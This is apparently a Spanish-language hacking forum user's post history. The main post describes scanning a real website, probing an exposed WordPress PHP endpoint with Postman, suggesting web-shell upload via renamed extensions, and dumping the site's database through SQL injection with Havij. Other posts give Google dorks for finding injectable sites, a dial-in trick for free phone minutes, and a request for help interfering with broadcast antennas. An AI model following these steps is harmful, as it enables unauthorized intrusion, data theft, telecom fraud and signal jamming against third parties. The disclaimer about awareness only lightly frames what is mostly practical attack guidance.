Bueno dejando ya los aspectos tecnicos a un lado pongamonos a jugar un poco con esto, cuando tengan el programa abierto, les pedira si quieren iniciar un nuevo scan y le dan que si, siguiente y luego ponen un target, osea la pagina web que quieren y listo, empezara automaticamente a escanear toda la web, hasta el fondo!

Aca un screenshot de lo que nos muestra, su estructura como anteriormente lo dije,sus peticiones get/post ,informacion del servidor y muchas cositas mas



Bueno y aca empieza lo emocionante, podemos analizar toda esta informacion que nos muestra este programa, para poder intentar vulnerar la pagina, una vulnerabilidad que ya es conocida por muchos esque si el servidor de la web deja acceder a sus carpetas, sin filtros y sin nada, podemos ir por el servidor buscando lo que queramos, pdfs,imagenes,documentos bueno en fin todo lo que esta alli ahora es accesible, tambien se pueden utilizar su mismo codigo en contra de ellos, asi es!
Por ejemplo si encontramos el archivo .php/.json... que se encarga que subir imagenes, texto o solamente hacer peticiones al servidor, ya tenemos medio mundo ganado!, y como es el caso la pagina web que estoy examinando lo tiene, buscando entre su estructura halle el siguiente link:

You are not allowed to view links. Register or Login

Listo, lo primero que pude notar fue que enviaba una variable con el nombre "c" por medio del metodo get, listo asi que hize mis pruebas y si!, acceptaba los parametros que yo le envie, ya se que andan un poco confundidos pero mirenlo de esta manera, si esa funcion .php que encuentran se les puede enviar parametros y este los sube al servidor, (ya se que pensaron en una shell) y si, asi podriamos subir una shell al servidor por medio de su mismo codigo, si por ejemplo encontramos un archivo llamado upload-imagen.php podriamos enviarle una shell, si no tiene filtros o son pocos, cambiandole el nombre shell.php.jpg o bueno yo se que la mayoria tiene sus tacticas, tambien podria ser si permite el envio de archivos de texto,pdf, etc.

Y como les contaba anteriormente encontre en la web un archivo .php  que me permitio enviar parametros que el servidor interpreto, para eso utilize un extencion de google chrome llamada Postman, yo se que mas de uno la ah utilizado, bueno con esta extencion enviar parametros get y post  es muy facil sin necesidad de que instalemos un servidor local y bueno ustedes ya saben, esta extension nos permite enviar String/integer,imagenes,archivos.php, archivos de texto y todo tipo de parametros, es muy facil de usar solo colocan la direccion a la que quieeren hacer la consulta  en mi caso:

You are not allowed to view links. Register or Login


Busque en informacion sobre el codigo de esta funcion que esta en el servidor, es la funcion que wordpress utiliza para subir y cambiar los estilos de la web, en este pedaso de codigo podemos ver que recibe tres variables.

Aca el codigo completo

You are not allowed to view links. Register or Login



/*

$load = $_GET['load'];

codigo
codigo....

 $compress = ( isset($_GET['c']) && $_GET['c'] );
 $force_gzip = ( $compress && 'gzip' == $_GET['c'] );
 $rtl = ( isset($_GET['dir']) && 'rtl' == $_GET['dir'] );



 */

una variable con el nombre "load" ,otra con el nombre "c" y la ultima de nombre "dir", si el servidor me recibe los parametros puedo cambiar cosas de la pagina sin su permiso, mas adelante seguire escribiendo acerca de como hacer esto.

Siguiendo con lo de Postman, en la izquiera escogen metodo GET , dan click en params,colocan el nombre de la variable, en mi caso "c" como se ve en el link encontrado y el valor que quiera enviarle, me devolvio 200 OK, lo que queria, me recibio el parametro.


Aca un screenshot, si es por el metodo post podrian enviar imagenes, .php lo que ya dije y tendrian por ejemplo una shell activa en el servidor





Bueno eso es una parte de lo que se podria llegar hacer, tambien podriamos utilizar las ya conocidas injecciones sql para obtener su base de datos! y pues examinando toda la informacion que me mostraba este programa di con un link que parece vulnerable:


You are not allowed to view links. Register or Login


Bueno y pues como la curiosidad mato al gato, tenia que testearlo, lo intente hacer con este programa directamente pero note que consume mucha capacidad en el equipo y es algo mas largo que hacerlo con un viejo amigo, havij (claro pueden hacerlo manualmente si quieren, ustedes saben mas que yo jaja) y bueno lo descargan, ese si no tengo el link pero en internet lo encuentran xd

Cuando tengan havij instalado pueden configurar el tipo de metodo que utilizar,parametro a enviar o dejar todo en automatico, colocan el link sospechoso y le dan Analize, y si! era vulnerable (claro yo lo probe manualmente enviando la comilla ' eso no pasa de moda) y listo lo siguiente fue obtener su base de datos (yo tambien quede como que wtf con el nombre de esa bd y sus tablas)



Listo [email protected], conseguimos vulnerar la seguridad de la pagina web con un poco de ingenio y utilizando estas herramientas, mas que todo les quiero mostrar el vector de ataque que puede llevar a cabo en fin las herramientas son lo de menos.

Un resumen para los que ya saben de todo esto seria, hacerse con la estructura de la web, peticiones y todo su funcionamiento, buscar dentro de su servidor los archivos de programacion que utiliza esta para su funcionamiento, logar enviar nuestros parametros a esos archivos y que estos lo reciban, mirar peticiones sospechosas que se realizan por dentro de la web que nos serviria para hacer injecciones sql asi como xss si es el caso.

Esto es todo, un poco largo pero ps no podia dormir y quise compartirlo con ustedes, no lo hago para que empiezan a "juackear" cuanta web vulnerable ven por hay lo comparto para que sepan lo que se puede llegar hacer si no se ponen permisos a las carpetas del servidor, no se filtran las peticiones, no se encrypta el trafico, y para su uso personal, para cuando desarrollen sus paginas web tengan todo esto en cuenta!






Un saludo y un gusto compartir!
[/b]







12
Hacking / Sql Injeccion con Google Dorks
« en: Julio 10, 2017, 12:48:01 am »
Hola compañ[email protected], hoy vengo a compartirles algo que se que la mayoria ya sabe y que yo creia ya inutil, pero no es asi, se trata de utilizar busquedas personalizadas de google para encontrar links directos que nos lleven a un error, digamos una consulta sql que se hace mediante un id el cual llega mediante el metodo get y es visible para el usuario, ps basicamente es esto

explicare brevemente en que consiste la vulnerabilidad para los que no saben, cuando se hace la consulta nombrada anteriormente la pagina busca en su base de datos el id que obtiene por medio de la url (metodo get), el campo id que esta creado en la bd tiene como tipo integer ,  osea solo acepta tipos de id que sean numeros, pero que tal si le enviamos digamos una comilla ' , nos generara un error como este:

[SQL ERROR] You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'asc' at lin

gracias a esto se pueden hacer consultas a la base de datos sin ninguna restriccion y obtener sus datos, por eso los desarrolladores web tienen que tener muy en cuenta estos casos ala hora de mandar parametros entre paginas y mas si estos no tienen filtros, asi lo evitarian, esto es algo muy viejo pero que todavia sirve, ademas tambien se pueden hacer injecciones por el metodo post.

ya con el error generado el siguiente paso seria explotar la vulnerabilidad, lo podemos hacer manualmente enviando los parametros por la url si se tiene conocimiento o hay algunos programas que automatizan este proceso como havij(windows) o sqlmap(linux).

sin tanta parla aqui les dejo el dork y algunos pantallasos de que todavia sirve
(cuidado con lo que encuentran, todo es bajo su responsabilidad)

ponen en google

inurl:php?id //tipo de pagina que quieran

inurl:php?id noticias //ejemplo








Saludos y un gusto compartir!
[/b]

13
Hacking / Obteniendo minutos gratis!, Colombia y otros
« en: Julio 06, 2017, 12:29:02 am »
Hola [email protected], soy nuevo en este foro pero quisiera compartirles una informacion que me ah servido mucho y en algunos casos me ah sacado de apuros, se trata de obtener 5 a 10 minutos gratis, de cualquier operador, es algo viejo pero todavia sirve

Primero marcamos 018000196000 y llamamos , esperamos unos segundos y nos contestara una operadora, rapidamente marcamos 57 que es el numero del pais (Colombia) y seguido el numero al que vallamos a marcar, quedaria algo asi 5731******* y listo obtendremos de 5 a 10 minutos gratis, sirve para todas las operadoras

ya lo eh probado y sirve perfectamente, creeria que para otros paises solo hace falta cambiar el codigo del pais, en vez de 57 marcamos en codigo correspondiente a su pais y seguido el numero, pruebenlo y me avisan!

Espero les sirva, saludos!


14
Dudas y pedidos generales / Hackear antenas de transmision
« en: Junio 29, 2017, 12:31:01 am »
Hola compañ[email protected], hoy vengo con una duda que tengo hace varios años, cerca a mi casa hay unas antenas, creo que son de transmision de señal de tv o radio, se algo de ondas y si puedo conseguir generar ondas a la misma frecuencia y canal por el que estan transmitiendo podria interferir la señal o cambiarla, teoricamente se puede, quiero saber donde puedo encontrar informacion sobre estas antenas? que marca son? para poder averiguar asi sus datos tecnicos y si lo que estoy planeando se puede

Tengo unas fotos de las antenas, les agradeceria cualquier informacion





Páginas: [1]